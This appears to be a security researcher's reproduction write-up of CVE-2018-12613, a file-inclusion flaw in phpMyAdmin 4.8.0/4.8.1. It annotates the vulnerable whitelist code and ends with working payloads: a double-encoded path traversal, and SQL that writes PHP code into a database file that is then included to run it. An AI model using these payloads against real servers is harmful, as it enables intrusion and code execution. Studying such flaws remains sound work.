CVE-2018-12613-phpmyadmin4.8.1 Remote File Inclusion Vulnerabilities reproduction
Reference article 1 Reference Articles 2
By: Mirror Wang Yuyang
Vulnerabilities principle
An attacker who exploited the vulnerability found to contain (and see potential execution) files on the server. The vulnerability from the part of the code, in which the page is redirected and loaded in phpMyAdmin, and whitelist pages incorrect test.
An attacker must be authenticated, except in these cases:
$ Cfg [ 'AllowArbitraryServer'] = true: any host attacker can specify that he / she has control and execute arbitrary code on phpMyAdmin;
$ Cfg [ 'ServerDefault'] = 0: This will bypass the login and run the vulnerable code without any authentication of the situation.
Impact: phpMyAdmin-4.8.0 / 4.8.1
Environmental Vulnerability
Causes of Vulnerability
Vulnerability Index:
file path:
.\phpMyAdmin\index.php
Location Lock: line 55 ~ 63
Source analysis:
// 如果有一个有效的目标,加载这个脚本
if (! empty($_REQUEST['target'])
//是否存在target参数
&& is_string($_REQUEST['target'])
//target是否为字符串
&& ! preg_match('/^index/', $_REQUEST['target'])
//限制要求target以index开头
&& ! in_array($_REQUEST['target'], $target_blacklist)
//限制target不能出现在$target_blacklist中
/*
$target_blacklist = array(
'import.php' , 'export.php'
)
// target != 'import.php' != 'export.php'
*/
&& Core::checkPageValidity($_REQUEST['target'])
// Core类的checkPageValidity()方法
) {
include $_REQUEST['target'];
exit;
}
Line 61 include $_REQUEST['target']
exposed the possible existence of LFI.
Need is to bypass restrictions:
The target parameter can not start with index, does not appear in target_blacklist (! = import.php! = export.php)
Core calls the class [ Libraries \ classes \ core.php ] of checkPageValidity () custom function and the result is true
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
// 白名单
//$whitelist在函数被调用的时候,没有值引用$goto_whitelist的内容(上图)
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
//$page没有定义或$page不为字符串时 返回false
return false;
}
if (in_array($page, $whitelist)) { // in_array():搜索数组中是否存在指定的值
//$page存在$whitelist中的value返回true
return true;
}
$_page = mb_substr( //mb_substr():返回字符串的一部分
$page,
0,
mb_strpos($page . '?', '?')
//返回从开始到问号之间的字符串
);
if (in_array($_page, $whitelist)) {
//$_page存在$whitelist中的value返回true
return true;
}
$_page = urldecode($page);//urldecode():解码已编码的URL
//经过urldecode函数解码后的$_page存在$whitelist中的某个值则返回true
$_page = mb_substr(//返回从开始到问号之间的字符串
$_page,
0,
mb_strpos($_page . '?', '?')
//mb_strpos():查找在字符串中第一次出现的位置(大小写敏感)
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
465 ~ 473 object code: secondary decoded URL
Here take into account the presence of two-pass encoding and URL parameters!
For example Incoming:
?target=db_datadict.php%253f
服务器在接收到URL请求连接后就会自动对URL进行一次解码为:
?target=db_datadict.php%3f
在遇到$_page = urldecode($page);
二次解码后为:?target=db_datadict.php?
这样就符合白名单的要求“ ?符号前的文件名在白名单序列中”
利用二次编码“%253f”可以绕过checkPageValidity()的检查!
由于二次解码只是在checkPageValidity()中执行的,在index.php中只做过一次解码:?target=db_datadict.php%3f
由此就造成了文件包含漏洞
漏洞复现
任意文件包含:
?target=db_sql.php%253f/../../../../../../windows/wininit.ini
任意代码执行:
查询数据库路径:
show global variables like "%datadir%";
向数据库写入代码:
CREATE DATABASE rce; use rce; CREATE TABLE rce(code varchar(100)); INSERT INTO rce(code) VALUES("<?php phpinfo(); ?>");
包含该数据库文件:
?target=db_datadict.php%253f/../../../../../../../../../phpStudy/PHPTutorial/MySQL/data/rce/rce.MYD